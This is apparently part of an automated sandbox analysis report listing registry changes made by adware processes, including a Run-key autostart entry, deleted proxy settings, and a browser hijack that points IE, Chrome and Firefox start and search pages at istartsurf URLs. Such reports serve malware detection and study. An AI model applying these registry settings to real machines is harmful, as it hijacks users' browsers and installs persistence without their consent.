[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process YouTubeAccelerator.exe:3632 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "47 39 B0 5E D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6A C3 1C 5C D5 7C D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 58 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeLimit" = "1"
"TimeStamp" = "1429690903"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:3080 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "E9 3B E6 59 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "6A C3 1C 5C D5 7C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process wpm_v20.0.0.1953_0302.exe:3844 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 65 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:1708 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2772 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:504 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GLJF1D.tmp:3840 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process Tfjrhcyiqi.exe:3960 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrPublisherId" = "20891"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayVersion" = "1.36.01.22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "A5 31 BD 60 D5 7C D0 01"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "47 39 B0 5E D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayIcon" = "%Program Files% (x86)\SensePlus\utils.exe"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Installer]
"BundledFirefox" = "1"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"Publisher" = "Sense "
"DisplayName" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrAppId" = "70299"
"UninstallString" = "%Program Files% (x86)\SensePlus\Uninstall.exe /fcp=1"

[HKCU\Software\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\InstalledBrowserExtensions\Sense ]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process WebProtectPD.exe:4152 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process WebProtectPD.exe:2500 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process QQBrowser.exe:2888 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process QQBrowser.exe:4332 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"Publisher" = "istartsurf"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.istartsurf.com/?type=sc&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\istartsurfSoftware\istartsurfhp]
"oem" = "smt"
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.istartsurf.com/?type=sc&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"UID" = "267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429691010&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayName" = "istartsurf uninstall"

